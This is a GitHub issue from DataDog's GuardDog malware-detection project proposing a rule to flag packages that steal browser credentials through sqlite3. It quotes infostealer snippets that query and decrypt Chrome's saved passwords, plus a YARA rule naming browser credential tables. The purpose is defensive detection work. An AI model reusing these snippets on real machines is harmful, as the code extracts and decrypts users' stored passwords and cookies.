DataDog / guarddog

:snake: :mag: GuardDog is a CLI tool to Identify malicious PyPI and npm packages
https://securitylabs.datadoghq.com/articles/guarddog-identify-malicious-pypi-packages/
Apache License 2.0
625 stars 44 forks source link

Detect credential stealer using sqlite3 #232

Closed romain-dd closed 4 months ago

romain-dd commented 1 year ago

Definition: Malware can collect credentials in browser file using sqlite3 Source: https://blog.cyble.com/2023/05/03/new-kekw-malware-variant-identified-in-pypi-package-distribution/ Sample:

def steal_passwords2(self, name: str, path:str, profile:str):
  path = "path"
  if not os.path.isfile(path):
    return 
  loginvault = self.random_dir_create()
  copy2(path, loginvault)
  conn = sqlite3. connect(loginvault)
  cursor = conn.cursor()
  with open(os.path.join(self.dir, "Browsers", "All Passwords.txt"), 'a', encoding="utf-8") as f:
    for res in cursor.execute("SELECT origin_url, username, password_value FROM logins").fetchall(): 
      url, username, password = res
      password = self.dcrpt_val(password, self.masterkey)
      if urI != "":
        f.write (E"URL: (url)\nID: (username)\nPASSWORD: (password) \n\n")

  cursor.close()
  conn.close()

Other stealers such as W4sp stealer, and reols package

See also: https://www.virustotal.com/gui/file/f1fed89b8db4855ff9adbb517b21f136ccc359c4caba2852e57994773501128a from https://github.com/ditekshen/detection:

rule INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore {
    meta:
        author = "ditekSHen"
        description = "Detects executables containing SQL queries to confidential data stores. Observed in infostealers"
    strings:
        $select = "select " ascii wide nocase
        $table1 = " from credit_cards" ascii wide nocase
        $table2 = " from logins" ascii wide nocase
        $table3 = " from cookies" ascii wide nocase
        $table4 = " from moz_cookies" ascii wide nocase
        $table5 = " from moz_formhistory" ascii wide nocase
        $table6 = " from moz_logins" ascii wide nocase
        $column1 = "name" ascii wide nocase
        $column2 = "password_value" ascii wide nocase
        $column3 = "encrypted_value" ascii wide nocase
        $column4 = "card_number_encrypted" ascii wide nocase
        $column5 = "isHttpOnly" ascii wide nocase
    condition:
        uint16(0) == 0x5a4d and 2 of ($table*) and 2 of ($column*) and $select
}

Also often coupled with win32crypt.CryptUnprotectData e.g.

def tahg(pene):
    x = json.loads(open(os.environ['LOCALAPPDATA'] + "\\Google\\Chrome\\User Data\\Local State", "r", encoding="utf-8").read())
    try:
        mk = win32crypt.CryptUnprotectData(base64.b64decode(x["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1]
    except:
        mk = ""
    try:
       return (AES.new(mk, AES.MODE_GCM, pene[3:15]).decrypt(pene[15:])[:-16]).decode()

    except:
        return ""
christophetd commented 1 year ago

Seems related to https://github.com/DataDog/guarddog/issues/159, is it a duplicate or does it make sense to keep both?

romain-dd commented 1 year ago

Oh I missed that one. I think we can merge them in one issue. Any objection?

christophetd commented 1 year ago

let's do it!